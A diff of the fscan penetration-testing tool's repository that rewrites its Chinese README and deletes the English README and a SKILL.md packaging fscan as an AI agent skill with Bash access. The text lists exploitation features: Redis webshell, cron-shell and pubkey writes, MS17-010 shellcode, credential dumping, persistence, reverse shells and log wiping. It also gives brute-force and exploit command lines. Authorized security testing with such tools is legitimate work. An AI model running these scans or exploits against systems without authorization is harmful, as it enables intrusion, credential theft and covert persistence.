-- **反弹Shell** - 正向Shell、反向Shell、SOCKS5代理服务
-- **杀软检测** - 识别目标主机安装的安全软件
-- **痕迹清理** - 日志清理工具
-
-### 输入输出
-- **目标输入** - IP/CIDR/域名/URL，支持文件批量导入
-- **排除规则** - 支持排除特定主机、端口
-- **输出格式** - TXT/JSON/CSV多格式输出
-- **静默模式** - 无Banner、无进度条、无颜色输出
-
-### 网络控制
-- **代理支持** - HTTP/SOCKS5代理，支持指定网卡
-- **发包控制** - 速率限制、最大发包数量控制
-- **超时控制** - 端口超时、Web超时、全局超时独立配置
-- **并发控制** - 端口扫描线程、服务扫描线程独立配置
-
-### 扩展功能
-- **Web管理界面** - 可视化扫描任务管理(条件编译 -tags web)
-- **Lab靶场环境** - 内置Docker靶场用于测试学习
-- **插件化架构** - 服务插件/Web插件/本地插件分离，易于扩展
-- **多语言支持** - 中英文界面切换(-lang zh/en)
-- **性能统计** - JSON格式性能报告(-perf)
-
-## v2.1.0 更新日志
-
-> 本次更新包含 **262个提交**，涵盖30项新功能、120项修复、54项重构、14项性能优化、20项测试增强。
-
-### 架构重构
-- **全局变量消除** - 迁移至Config/State对象，提升并发安全和可测试性
-- **SMB插件融合** - 整合smb/smb2/smbghost/smbinfo为统一插件，新增smb_protocol.go
-- **服务探测重构** - 实现Nmap风格fallback机制，优化端口指纹识别策略
-- **输出系统重构** - TXT实时刷盘+双写机制，解决结果丢失和乱序问题
-- **i18n框架升级** - 迁移至go-i18n，完整覆盖core/plugins/webscan模块
-- **HostInfo重构** - Ports字段从string改为int，类型安全
-- **函数复杂度优化** - clusterpoc(125→30)、EnhancedPortScan(111→20)
-- **代码审计** - 修复P0-P2级别问题，清理deadcode
-- **日志系统优化** - LogDebug调用清理(71→18)，精简启动日志输出
-
-### 性能优化
-- **正则预编译** - 全局正则表达式预编译，避免重复编译开销
-- **内存优化** - map[string]bool改为map[string]struct{}节省内存
-- **并发指纹匹配** - 多协程并行匹配，提升识别速度
-- **连接复用** - SOCKS5全局拨号器复用，避免重复握手
-- **滑动窗口调度** - 自适应线程池+流式迭代器，优化端口扫描
-- **CEL缓存优化** - POC扫描CEL环境缓存，减少重复初始化
-- **包级变量提取** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes等
-- **预分配容量** - 简化转换链、单次字符串替换
-- **并发安全优化** - 优化锁粒度和内存分配
-
-### 新功能
-- **Web管理界面** - 可视化扫描任务管理，响应式布局和进度显示
-- **多格式POC适配** - 支持xray和afrog格式POC
-- **智能扫描模式** - 布隆过滤器去重+代理优化
-- **增强指纹库** - 集成FingerprintHub(3139条指纹)
-- **Favicon指纹识别** - 支持mmh3和MD5双格式hash匹配
-- **通用版本提取器** - 自动提取服务版本信息
-- **指纹优先级排序** - 智能排序匹配结果
-- **智能协议检测** - 自动识别HTTP/HTTPS协议类型
-- **网卡指定功能** - 支持VPN场景(-iface参数)
-- **排除主机文件** - 支持从文件读取排除主机(-ehf参数)
-- **ICMP令牌桶限速** - 防止高速扫描导致路由器崩溃
-- **端口扫描重试** - 失败自动重扫机制
-- **RDP真实认证** - 集成grdp库实现系统指纹识别
-- **SMB/FTP文件列表** - 匿名访问时自动列出文件
-- **302跳转双重识别** - 同时识别原始响应和跳转后响应指纹
-- **TXT输出URL汇总** - 末尾添加Web服务URL列表便于批量测试
-- **nmap核心集成** - 三大改进：探测策略/匹配引擎/版本解析
-- **插件选择性编译** - Build Tags系统，支持服务/本地/Web插件独立编译
-- **默认端口扩展** - 从62个扩展到133个常用端口
-- **全端口扫描支持** - 扩大端口范围限制
-- **HTTP重定向控制** - 可配置的重定向次数限制
-- **性能分析支持** - 添加pprof性能分析和benchmark测试
-- **TCP包统计** - 服务插件支持TCP包发送统计
-- **fscan-lab靶场** - 内网渗透训练平台，覆盖全部漏洞场景（未完成）
-- **Redis利用增强** - 移植完整Redis利用功能(写公钥/计划任务/WebShell/主从RCE)
-- **rsync插件重构** - 使用go-rsync库重构认证逻辑
-
-### Bug修复（120项，列出关键修复）
-- **RDP空指针panic** - 修复证书解析导致的崩溃(#551)
-- **批量扫描漏报** - 修复大规模扫描遗漏问题(#304)
-- **JSON输出格式** - 修复输出格式错误(#446)
-- **Redis弱密码检测** - 修复检测遗漏问题(#447)
-- **结果实时保存** - 修复扫描结果未及时保存(#469)
-- **Nmap解析溢出** - 修复八进制转义解析bug(#478)
-- **指纹识别竞态** - 修复webtitle/webpoc竞态问题(#474)
-- **MySQL连接验证** - 改用information_schema库验证
-- **代理端口误判** - 修复代理模式下端口状态判断错误
-- **Context超时** - 修复22处插件超时未响应问题
-- **ICMP竞态条件** - 修复并发扫描竞争问题
-- **IPv6地址格式** - 修复4处地址格式化问题
-- **POC高并发卡死** - 修复Context未传播问题
-- **Ctrl+C结果丢失** - 添加信号处理确保结果写入
-- **SOCKS5全回显** - 添加代理连接验证
-- **服务探测泄漏** - 修复连接未正确关闭问题
-- **webtitle响应丢弃** - 修复部分响应数据被丢弃导致识别失败
-- **TXT漏洞信息缺失** - 修复输出遗漏漏洞详情
-- **JSON指纹缺失** - 统一SERVICE结果Target格式
-- **扫描耗时显示** - 修复完成耗时显示为0的问题
-- **虚假漏洞记录** - 重构TXT输出系统消除误报
-- **Redis跨平台路径** - 修复利用功能的路径和超时问题
-- **Windows编译警告** - 修复fscan-lite平台兼容性
-- **Go 1.20兼容** - 降级依赖保持兼容性
-
-### 测试增强（20项）
-- **单元测试** - 核心模块覆盖率74-100%
-- **并发安全测试** - State对象、指纹匹配引擎专项测试
-- **集成测试** - Web扫描/端口扫描/服务探测/SSH认证/ICMP探测
-- **CLI参数测试** - 命令行参数解析验证
-- **性能基准测试** - AdaptivePool、服务探测策略benchmark
-- **ResultBuffer测试** - 去重和完整度评分验证
-
-### 工程化改进
-- **CI流程优化** - golangci-lint v2升级，简化构建步骤
-- **Issue自动化** - GitHub Issue模板优化，Project自动化工作流
-- **Lint全量修复** - revive/errcheck/shadow/staticcheck/gosimple全部通过
-- **README重写** - 中英文文档全面更新
-- **代码格式统一** - gofmt/goimports规范化
-
-## 快速开始
-
-```bash
-# 扫描C段
-./fscan -h 192.168.1.1/24
-
-# 指定端口
-./fscan -h 192.168.1.1 -p 22,80,443,3389
-
-# 仅存活探测
-./fscan -h 192.168.1.1/24 -ao
-
-# 禁用爆破
-./fscan -h 192.168.1.1/24 -nobr
-
-# Web扫描
-./fscan -u http://192.168.1.1
-
-# 本地插件
-./fscan -local systeminfo
-
-# Hash碰撞
-./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
-
-# Redis写公钥
-./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
 ```
 
-## 编译
 
-```bash
+完整参数
-# 标准编译
-go build -ldflags="-s -w" -trimpath -o fscan main.go
-
-# 带Web管理界面
-go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
 ```
+  -c string
+        exec command (ssh)
+  -h string
+        IP address of the host you want to scan,for example: 192.168.11.11 | 192.168.11.11-255 | 192.168.11.11,192.168.11.12
+  -hf string
+        host file, -hs ip.txt
+  -it int
+        Icmp Threads nums (default 3000)
+  -m string
+        Select scan type ,as: -m ssh (default "all")
+  -no
+        not to save output log
+  -np
+        not to ping
+  -o string
+        Outputfile (default "result.txt")
+  -p string
+        Select a port,for example: 22 | 1-65535 | 22,80,3306 (default "21,22,23,80,135,443,445,1433,1521,3306,5432,6379,7001,8080,8089,9000,9200,11211,27017")
+  -pwd string
+        password
+  -pwdf string
+        password file
+  -rf string
+        redis file to write sshkey file (as: -rf id_rsa.pub)
+  -rs string
+        redis shell to write cron file (as: -rs 192.168.1.1:6666)
+  -t int
+        Thread nums (default 200)
+  -time int
+        Set timeout (default 3)
+  -user string
+        username
+  -userf string
+        username file
 
-## 安装
-
-```bash
-# Arch Linux
-yay -S fscan-git
 ```
 
 ## 运行截图
 
-`fscan.exe -h 192.168.x.x`
+`fscan.exe -h 192.168.x.x  (全功能、ms17010、读取网卡信息)`
 ![](image/1.png)
 
 ![](image/4.png)
 
-`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis写公钥)
+`fscan.exe -h 192.168.x.x -rf id_rsa.pub (redis 写私钥)`
 ![](image/2.png)
 
-`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
+`fscan.exe -h 192.168.x.x -c "whoami;id" (ssh 命令)`
 ![](image/3.png)
 
-`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
-![](image/2020-12-12-13-34-44.png)
 
-`fscan.exe -h 192.168.x.x -p 139 -m netbios`
+## 未来计划
-![](image/netbios.png)
+[*] 合理输出当前扫描进度  
+[*] 增加内网常见高危漏洞  
+[*] 增加高危web漏洞扫描  
+[*] 师傅们觉得有必要加的漏洞，也可以提issue  
 
-![](image/netbios1.png)
 
-`fscan.exe -h 192.0.0.0/8 -m icmp`
+## 参考链接
-![img.png](image/live.png)
+https://github.com/Adminisme/ServerScan  
-
+https://github.com/netxfly/x-crack  
-![2.0-1](image/2.0-1.png)
+https://github.com/hack2fun/Gscan  
-
+https://github.com/k8gege/LadonGo   
-![2.0-2](image/2.0-2.png)
-
-## 路线图
-
-### 更新计划
-- **更新周期** - 每月一次版本发布
-- **前两周** - 新功能开发与特性更新
-- **后两周** - Bug修复与代码整合
-- **欢迎PR** - 期待您的贡献！
-
-### 插件生态
-- 持续扩展服务插件覆盖范围
-- 为每个服务插件开发更多漏洞检测和利用能力
-- 保持插件API向后兼容，确保旧版本POC持续可用
-
-### Fscan-lite
-- C语言重写的轻量版本
-- 更小的体积，更少的依赖
-- 支持更多嵌入式/受限环境
-- 目录: [fscan-lite](./fscan-lite)
-
-### Fscan-lab
-- 内网渗透测试靶场环境
-- 覆盖所有fscan支持的漏洞场景
-- 开发测试与功能验证平台
-- 新手学习与技能练习环境
-- 目录: [fscan-lab](./fscan-lab)
-
-## 免责声明
-
-本工具仅面向**合法授权**的企业安全建设行为。使用前请确保已获得授权，符合当地法律法规，**不对非授权目标扫描**。作者不承担任何非法使用产生的后果。
-
-## 404StarLink
-
-![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
-
-fscan 是 [404Team 星链计划2.0](https://github.com/knownsec/404StarLink2.0-Galaxy) 成员项目。
-
-## Star趋势
-
-[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
-
-## 捐赠
-
-[请作者喝饮料](image/sponsor.png)
-
-## 参考
-
-- https://github.com/Adminisme/ServerScan
-- https://github.com/netxfly/x-crack
-- https://github.com/hack2fun/Gscan
-- https://github.com/k8gege/LadonGo
-- https://github.com/jjf012/gopoc
-- https://github.com/chainreactors/gogo
-- https://github.com/0x727/FingerprintHub
-- https://github.com/killmonday/fscanx

README_EN.md

@@ -1,282 +0,0 @@
-# Fscan
-
-[中文](README.md)
-
-Comprehensive intranet scanning tool for automated vulnerability assessment.
-
-**Version**: 2.1.2
-
-## Features
-
-### Scanning
-- **Host Discovery** - ICMP/Ping alive detection, B/C segment statistics for large networks
-- **Port Scanning** - TCP connect scan, 133 built-in ports, port groups (web/db/service/all)
-- **Service Detection** - Smart protocol identification, 20+ service fingerprint matching
-- **Web Detection** - Website title, CMS fingerprint, web middleware, WAF/CDN detection (40+ signatures)
-
-### Brute Force
-- **Password Cracking** - 28 services (SSH/RDP/SMB/FTP/MySQL/MSSQL/Oracle/Redis, etc.)
-- **Hash Authentication** - NTLM Hash support (SMB/WMI)
-- **SSH Key Login** - Private key authentication
-- **Smart Dictionary** - 100+ common passwords, {user} variable substitution
-
-### Vulnerability Detection
-- **Critical Vulns** - MS17-010 (EternalBlue), SMBGhost (CVE-2020-0796)
-- **Unauthorized Access** - Redis/MongoDB/Memcached/Elasticsearch unauthorized detection
-- **POC Scanning** - Integrated web POC, Xray POC format support
-- **DNSLog** - DNSLog out-of-band detection
-
-### Exploitation
-- **Redis Exploit** - Write pubkey, crontab, webshell, master-slave RCE
-- **MS17-010 Exploit** - ShellCode injection, add user, execute commands
-- **SSH Command Exec** - Auto command execution after authentication
-
-### Local Modules
-- **Info Gathering** - System info, environment variables, DC info, NIC config
-- **Credential Access** - Memory dump (MiniDump), keylogger, registry export
-- **Persistence** - Systemd service, Windows service, scheduled tasks, startup, LD_PRELOAD
-- **Reverse Shell** - Forward shell, reverse shell, SOCKS5 proxy service
-- **AV Detection** - Identify installed security software
-- **Trace Cleanup** - Log cleaning tool
-
-### Input/Output
-- **Target Input** - IP/CIDR/domain/URL, batch file import
-- **Exclusion Rules** - Exclude specific hosts, ports
-- **Output Formats** - TXT/JSON/CSV multi-format output
-- **Silent Mode** - No banner, no progress bar, no color output
-
-### Network Control
-- **Proxy Support** - HTTP/SOCKS5 proxy, network interface binding
-- **Rate Control** - Rate limiting, max packet count control
-- **Timeout Control** - Port/Web/Global timeout independent config
-- **Concurrency** - Port scan threads, service scan threads independent config
-
-### Extensions
-- **Web Management UI** - Visual scan task management (build with -tags web)
-- **Lab Environment** - Built-in Docker lab for testing and learning
-- **Plugin Architecture** - Service/Web/Local plugins separated, easy to extend
-- **Multi-language** - Chinese/English interface (-lang zh/en)
-- **Performance Stats** - JSON format performance report (-perf)
-
-## v2.1.0 Changelog
-
-> This update includes **262 commits**: 30 new features, 120 fixes, 54 refactors, 14 performance optimizations, 20 test enhancements.
-
-### Architecture Refactoring
-- **Global Variable Elimination** - Migrated to Config/State objects for better concurrency safety and testability
-- **SMB Plugin Consolidation** - Merged smb/smb2/smbghost/smbinfo into unified plugin with new smb_protocol.go
-- **Service Probe Refactoring** - Implemented Nmap-style fallback mechanism, optimized port fingerprint strategy
-- **Output System Refactoring** - TXT real-time flush + dual-write mechanism, resolved result loss and ordering issues
-- **i18n Framework Upgrade** - Migrated to go-i18n, full coverage of core/plugins/webscan modules
-- **HostInfo Refactoring** - Ports field changed from string to int for type safety
-- **Function Complexity Optimization** - clusterpoc (125→30), EnhancedPortScan (111→20)
-- **Code Audit** - Fixed P0-P2 level issues, cleaned up deadcode
-- **Logging System Optimization** - LogDebug call cleanup (71→18), streamlined startup log output
-
-### Performance Optimization
-- **Regex Precompilation** - Global regex precompilation to avoid repeated compilation overhead
-- **Memory Optimization** - Changed map[string]bool to map[string]struct{} for memory savings
-- **Concurrent Fingerprint Matching** - Multi-goroutine parallel matching for faster identification
-- **Connection Reuse** - SOCKS5 global dialer reuse to avoid repeated handshakes
-- **Sliding Window Scheduling** - Adaptive thread pool + streaming iterator for port scan optimization
-- **CEL Cache Optimization** - POC scan CEL environment caching to reduce repeated initialization
-- **Package-level Variable Extraction** - proxyFailurePatterns/resourceExhaustedPatterns/sslSecondProbes etc.
-- **Capacity Pre-allocation** - Simplified conversion chains, single-pass string replacement
-- **Concurrency Safety Optimization** - Optimized lock granularity and memory allocation
-
-### New Features
-- **Web Management UI** - Visual scan task management with responsive layout and progress display
-- **Multi-format POC Adapter** - Support for xray and afrog format POCs
-- **Smart Scan Mode** - Bloom filter deduplication + proxy optimization
-- **Enhanced Fingerprint Library** - Integrated FingerprintHub (3139 fingerprints)
-- **Favicon Fingerprinting** - Support for mmh3 and MD5 dual-format hash matching
-- **Universal Version Extractor** - Auto-extract service version information
-- **Fingerprint Priority Sorting** - Smart sorting of match results
-- **Smart Protocol Detection** - Auto-detect HTTP/HTTPS protocol type
-- **Network Interface Binding** - Support for VPN scenarios (-iface parameter)
-- **Exclude Hosts File** - Read excluded hosts from file (-ehf parameter)
-- **ICMP Token Bucket Rate Limiting** - Prevent router crashes from high-speed scanning
-- **Port Scan Retry** - Automatic retry mechanism for failed scans
-- **RDP Real Authentication** - Integrated grdp library for system fingerprinting
-- **SMB/FTP File Listing** - Auto-list files on anonymous access
-- **302 Redirect Dual Detection** - Identify fingerprints from both original and redirected responses
-- **TXT Output URL Summary** - Append web service URL list for batch testing
-- **gonmap Core Integration** - Three improvements: probe strategy/matching engine/version parsing
-- **Selective Plugin Compilation** - Build Tags system for independent service/local/web plugin compilation
-- **Default Port Expansion** - Extended from 62 to 133 common ports
-- **Full Port Scan Support** - Expanded port range limits
-- **HTTP Redirect Control** - Configurable redirect count limit
-- **Performance Profiling Support** - Added pprof profiling and benchmark tests
-- **TCP Packet Statistics** - Service plugins support TCP packet send statistics
-- **fscan-lab Environment** - Intranet penetration training platform covering all vulnerability scenarios
-- **Redis Exploitation Enhancement** - Ported complete Redis exploitation (write pubkey/crontab/webshell/master-slave RCE)
-- **rsync Plugin Refactoring** - Restructured authentication logic using go-rsync library
-
-### Bug Fixes (120 items, key fixes listed)
-- **RDP Null Pointer Panic** - Fixed certificate parsing crash (#551)
-- **Batch Scan Missing Results** - Fixed large-scale scan omissions (#304)
-- **JSON Output Format** - Fixed output format errors (#446)
-- **Redis Weak Password Detection** - Fixed detection omissions (#447)
-- **Real-time Result Saving** - Fixed scan results not saved timely (#469)
-- **Nmap Parse Overflow** - Fixed octal escape parsing bug (#478)
-- **Fingerprint Race Condition** - Fixed webtitle/webpoc race issues (#474)
-- **MySQL Connection Validation** - Changed to information_schema for validation
-- **Proxy Port Misjudgment** - Fixed port status judgment in proxy mode
-- **Context Timeout** - Fixed 22 plugin timeout unresponsive issues
-- **ICMP Race Condition** - Fixed concurrent scan race issues
-- **IPv6 Address Format** - Fixed 4 address formatting issues
-- **POC High Concurrency Hang** - Fixed Context propagation issues
-- **Ctrl+C Result Loss** - Added signal handling for proper result saving
-- **SOCKS5 Echo Issue** - Added proxy connection validation
-- **Service Probe Leak** - Fixed connection not properly closed
-- **webtitle Response Discard** - Fixed partial response data being discarded causing identification failure
-- **TXT Vulnerability Info Missing** - Fixed output missing vulnerability details
-- **JSON Fingerprint Missing** - Unified SERVICE result Target format
-- **Scan Duration Display** - Fixed completion time showing as 0
-- **False Vulnerability Records** - Refactored TXT output system to eliminate false positives
-- **Redis Cross-platform Path** - Fixed exploitation path and timeout issues
-- **Windows Compilation Warnings** - Fixed fscan-lite platform compatibility
-- **Go 1.20 Compatibility** - Downgraded dependencies for compatibility
-
-### Test Enhancements (20 items)
-- **Unit Tests** - Core module coverage at 74-100%
-- **Concurrency Safety Tests** - Dedicated tests for State object and fingerprint matching engine
-- **Integration Tests** - Web scan/port scan/service probe/SSH auth/ICMP probe
-- **CLI Parameter Tests** - Command-line argument parsing verification
-- **Performance Benchmarks** - AdaptivePool and service probe strategy benchmarks
-- **ResultBuffer Tests** - Deduplication and completeness scoring verification
-
-### Engineering Improvements
-- **CI Pipeline Optimization** - Upgraded to golangci-lint v2, simplified build steps
-- **Issue Automation** - GitHub Issue template optimization, Project automation workflow
-- **Full Lint Fixes** - revive/errcheck/shadow/staticcheck/gosimple all passing
-- **README Rewrite** - Comprehensive Chinese and English documentation update
-- **Code Format Unification** - gofmt/goimports standardization
-
-## Quick Start
-
-```bash
-# Scan C-class network
-./fscan -h 192.168.1.1/24
-
-# Specify ports
-./fscan -h 192.168.1.1 -p 22,80,443,3389
-
-# Alive detection only
-./fscan -h 192.168.1.1/24 -ao
-
-# Disable brute force
-./fscan -h 192.168.1.1/24 -nobr
-
-# Web scanning
-./fscan -u http://192.168.1.1
-
-# Local plugin
-./fscan -local systeminfo
-
-# Hash authentication
-./fscan -h 192.168.1.1 -m smb2 -user admin -hash xxxxx
-
-# Redis write pubkey
-./fscan -h 192.168.1.1 -m redis -rf id_rsa.pub
-```
-
-## Build
-
-```bash
-# Standard build
-go build -ldflags="-s -w" -trimpath -o fscan main.go
-
-# With Web UI
-go build -tags web -ldflags="-s -w" -trimpath -o fscan main.go
-```
-
-## Install
-
-```bash
-# Arch Linux
-yay -S fscan-git
-```
-
-## Screenshots
-
-`fscan.exe -h 192.168.x.x`
-![](image/1.png)
-
-![](image/4.png)
-
-`fscan.exe -h 192.168.x.x -rf id_rsa.pub` (Redis write pubkey)
-![](image/2.png)
-
-`fscan.exe -h 192.168.x.x -m ssh -user root -pwd password`
-![](image/3.png)
-
-`fscan.exe -h 192.168.x.x -p80 -proxy http://127.0.0.1:8080`
-![](image/2020-12-12-13-34-44.png)
-
-`fscan.exe -h 192.168.x.x -p 139 -m netbios`
-![](image/netbios.png)
-
-![](image/netbios1.png)
-
-`fscan.exe -h 192.0.0.0/8 -m icmp`
-![img.png](image/live.png)
-
-![2.0-1](image/2.0-1.png)
-
-![2.0-2](image/2.0-2.png)
-
-## Roadmap
-
-### Release Schedule
-- **Release Cycle** - Monthly release
-- **First 2 Weeks** - New features and enhancements
-- **Last 2 Weeks** - Bug fixes and code integration
-- **PRs Welcome** - Contributions are appreciated!
-
-### Plugin Ecosystem
-- Continuously expand service plugin coverage
-- Develop more vulnerability detection and exploitation capabilities for each service plugin
-- Maintain backward compatibility of plugin APIs to ensure legacy POCs remain functional
-
-### Fscan-lite
-- Lightweight version rewritten in C
-- Smaller binary size, fewer dependencies
-- Support for embedded/restricted environments
-- Directory: [fscan-lite](./fscan-lite)
-
-### Fscan-lab
-- Intranet penetration testing lab environment
-- Covers all vulnerability scenarios supported by fscan
-- Development testing and feature verification platform
-- Learning and practice environment for beginners
-- Directory: [fscan-lab](./fscan-lab)
-
-## Disclaimer
-
-This tool is intended for **legally authorized** enterprise security testing only. Obtain proper authorization, comply with local laws, **do not scan unauthorized targets**. The author assumes no liability for any illegal use.
-
-## 404StarLink
-
-![](https://github.com/knownsec/404StarLink-Project/raw/master/logo.png)
-
-fscan is a member of [404Team StarLink 2.0](https://github.com/knownsec/404StarLink2.0-Galaxy).
-
-## Star History
-
-[![Stargazers over time](https://starchart.cc/shadow1ng/fscan.svg)](https://starchart.cc/shadow1ng/fscan)
-
-## Donate
-
-[Buy the author a drink](image/sponsor.png)
-
-## References
-
-- https://github.com/Adminisme/ServerScan
-- https://github.com/netxfly/x-crack
-- https://github.com/hack2fun/Gscan
-- https://github.com/k8gege/LadonGo
-- https://github.com/jjf012/gopoc
-- https://github.com/chainreactors/gogo
-- https://github.com/0x727/FingerprintHub
-- https://github.com/killmonday/fscanx

SKILL.md

@@ -1,304 +0,0 @@
----
-name: fscan-agent
-description: 使用 fscan 进行网络扫描和安全评估。当用户要求扫描网段、探测主机存活、发现开放端口、识别服务、检测漏洞或弱口令时使用。支持 NDJSON 结构化输出，适合 AI agent 管道消费。
-argument-hint: <目标IP/网段> [附加参数]
-allowed-tools: Bash, Read, Agent
----
-
-# Fscan AI Agent Skill
-
-## 工具概述
-
-Fscan 是一款内网综合扫描工具，功能包括：
-- 主机存活探测（ICMP / TCP）
-- 端口扫描与服务识别
-- 漏洞检测（MS17-010、Redis 未授权等）
-- 弱口令爆破（SSH、SMB、MySQL、MSSQL、FTP、RDP 等）
-- Web 指纹识别与 POC 扫描
-- NetBIOS / SMB 信息收集
-- 本地信息收集（杀软检测、系统信息等）
-
-二进制路径：当前项目编译产物 `fscan_cli`，或系统 PATH 中的 `fscan`。
-
-## 调用格式
-
-```bash
-# AI agent 标准用法：NDJSON 输出，无人类日志干扰
-fscan -h <目标> -silent [其他参数]
-
-# 解析输出
-fscan -h 192.168.1.0/24 -silent | jq 'select(.type=="VULN")'
-```
-
-## 核心参数
-
-### 目标指定
-
-| 参数 | 说明 | 示例 |
-|------|------|------|
-| `-h` | 目标主机（IP / CIDR / 范围） | `-h 192.168.1.0/24` `-h 10.0.0.1-10.0.0.100` |
-| `-hf` | 从文件读取目标 | `-hf targets.txt` |
-| `-p` | 指定端口（逗号/范围） | `-p 22,80,443,445,3306` `-p 1-1000` |
-| `-ep` | 排除端口 | `-ep 25,110` |
-| `-eh` | 排除主机 | `-eh 192.168.1.1` |
-| `-u` | 指定 URL（Web 扫描） | `-u https://example.com` |
-| `-uf` | URL 文件 | `-uf urls.txt` |
-
-### 扫描控制
-
-| 参数 | 说明 | 默认值 |
-|------|------|--------|
-| `-m` | 扫描模式 | `all` |
-| `-t` | 端口扫描线程数 | `600` |
-| `-mt` | 模块线程数 | `20` |
-| `-time` | 连接超时（秒） | `3` |
-| `-gt` | 全局超时（秒） | `180` |
-| `-np` | 跳过存活检测 | `false` |
-| `-ntp` | 禁用 TCP 补充探测 | `false` |
-| `-ao` | 仅存活检测 | `false` |
-| `-nobr` | 禁用暴力破解 | `false` |
-| `-full` | 全量 POC 扫描 | `false` |
-| `-max-retries` | 最大重试次数 | `1` |
-
-### 认证
-
-| 参数 | 说明 |
-|------|------|
-| `-user` | 用户名 |
-| `-pwd` | 密码 |
-| `-usera` | 追加用户名 |
-| `-pwda` | 追加密码 |
-| `-userf` | 用户名字典文件 |
-| `-pwdf` | 密码字典文件 |
-| `-domain` | 域名（SMB/WMI） |
-| `-sshkey` | SSH 私钥文件 |
-| `-hash` / `-hashf` | NTLM Hash / Hash 文件 |
-
-### 代理
-
-| 参数 | 说明 |
-|------|------|
-| `-socks5` | SOCKS5 代理 (`127.0.0.1:1080`) |
-| `-proxy` | HTTP 代理 (`http://127.0.0.1:8080`) |
-| `-iface` | 指定本地网卡 IP（VPN 场景） |
-
-### 输出
-
-| 参数 | 说明 |
-|------|------|
-| `-silent` | 静默模式：stdout 仅输出 NDJSON |
-| `-o` | 输出文件路径（默认 `result.txt`） |
-| `-f` | 输出格式：`txt` / `json` / `csv` |
-| `-no` | 禁用文件保存 |
-| `-debug` | 调试模式：日志写入 `fscan_debug.log` |
-| `-log` | 日志级别（`debug` / `info` / `base` / `error`） |
-
-### 扫描模式 `-m` 的取值
-
-| 值 | 说明 |
-|------|------|
-| `all` | 全部扫描（默认） |
-| `icmp` | 仅 ICMP 存活检测 |
-| 插件名 | 仅运行指定插件（如 `ssh`、`smb`、`ms17010`、`webtitle`） |
-
-## 服务插件列表
-
-| 插件 | 默认端口 | 功能 |
-|------|----------|------|
-| `ftp` | 21 | FTP 弱口令 |
-| `ssh` | 22 | SSH 弱口令 |
-| `telnet` | 23 | Telnet 弱口令 |
-| `smtp` | 25 | SMTP 弱口令 |
-| `findnet` | 135 | RPC 网络信息发现（NetInfo） |
-| `netbios` | 139 | NetBIOS 信息收集 |
-| `smb` | 445 | SMB 弱口令 |
-| `ms17010` | 445 | MS17-010 永恒之蓝检测 |
-| `ldap` | 389 | LDAP 弱口令 |
-| `mssql` | 1433 | MSSQL 弱口令 |
-| `oracle` | 1521 | Oracle 弱口令 |
-| `mysql` | 3306 | MySQL 弱口令 |
-| `rdp` | 3389 | RDP 弱口令 + 系统信息 |
-| `postgresql` | 5432 | PostgreSQL 弱口令 |
-| `vnc` | 5900 | VNC 弱口令 |
-| `redis` | 6379 | Redis 未授权 + 弱口令 |
-| `elasticsearch` | 9200 | ES 未授权 |
-| `mongodb` | 27017 | MongoDB 未授权 + 弱口令 |
-| `memcached` | 11211 | Memcached 未授权 |
-| `kafka` | 9092 | Kafka 未授权 |
-| `activemq` | 61616 | ActiveMQ 弱口令 |
-| `rabbitmq` | 5672 | RabbitMQ 弱口令 |
-| `cassandra` | 9042 | Cassandra 弱口令 |
-| `neo4j` | 7687 | Neo4j 弱口令 |
-| `rsync` | 873 | Rsync 未授权 |
-| `webtitle` | 80/443 | Web 标题 + 指纹识别 |
-| `webpoc` | 80/443 | Web 漏洞 POC |
-
-## 本地插件（`-local`）
-
-```bash
-fscan -local avdetect    # 杀软检测
-fscan -local systeminfo  # 系统信息收集
-fscan -local envinfo     # 环境变量信息
-fscan -local dcinfo      # 域控信息
-fscan -local fileinfo    # 敏感文件搜索
-```
-
-## NDJSON 输出 Schema（`-silent` 模式）
-
-每行一个 JSON 对象，所有字段定义：
-
-| 字段 | 类型 | 出现条件 | 说明 |
-|------|------|----------|------|
-| `type` | string | 必有 | `HOST` / `PORT` / `SERVICE` / `VULN` |
-| `target` | string | 必有 | 原始目标 `host` 或 `host:port` |
-| `status` | string | 必有 | 状态描述 |
-| `host` | string | 必有 | IP 地址 |
-| `port` | int | PORT/SERVICE/VULN | 端口号 |
-| `service` | string | SERVICE/VULN | 服务名（ssh, smb, http 等） |
-| `protocol` | string | HOST/SERVICE | 协议（ICMP, TCP, http, https） |
-| `banner` | string | SERVICE | 服务 Banner |
-| `title` | string | SERVICE (web) | 网页标题 |
-| `url` | string | SERVICE (web) | 完整 URL |
-| `vulnerability` | string | VULN | 漏洞名称 |
-| `username` | string | VULN (弱口令) | 用户名 |
-| `password` | string | VULN (弱口令) | 密码 |
-| `plugin` | string | SERVICE/VULN | 产生结果的插件名 |
-| `version` | string | SERVICE | 服务版本号 |
-| `os` | string | SERVICE | 操作系统信息 |
-
-### 输出示例
-
-```jsonl
-{"type":"HOST","target":"192.168.1.5","status":"alive","host":"192.168.1.5","protocol":"ICMP"}
-{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":22}
-{"type":"PORT","target":"192.168.1.5","status":"open","host":"192.168.1.5","port":445}
-{"type":"SERVICE","target":"192.168.1.5:22","status":"identified","host":"192.168.1.5","port":22,"service":"ssh","banner":"SSH-2.0-OpenSSH_8.9p1","version":"8.9p1","plugin":"portscan"}
-{"type":"SERVICE","target":"192.168.1.5:80","status":"web","host":"192.168.1.5","port":80,"service":"http","protocol":"http","url":"http://192.168.1.5:80","title":"Welcome","plugin":"webtitle"}
-{"type":"VULN","target":"192.168.1.5:445","status":"MS17-010 (Windows Server 2012 R2 Standard 9600)","host":"192.168.1.5","port":445,"vulnerability":"MS17-010","service":"smb","plugin":"ms17010"}
-{"type":"VULN","target":"192.168.1.5:22","status":"weak_credential: root:123456","host":"192.168.1.5","port":22,"service":"ssh","username":"root","password":"123456","plugin":"ssh"}
-{"type":"VULN","target":"192.168.1.5:6379","status":"Redis unauthorized","host":"192.168.1.5","port":6379,"vulnerability":"Redis unauthorized access","service":"redis","plugin":"redis"}
-```
-
-### 结果产出顺序
-
-1. `HOST` — 存活探测阶段
-2. `PORT` — 端口扫描阶段（与 SERVICE 可能交错）
-3. `SERVICE` — 服务识别阶段
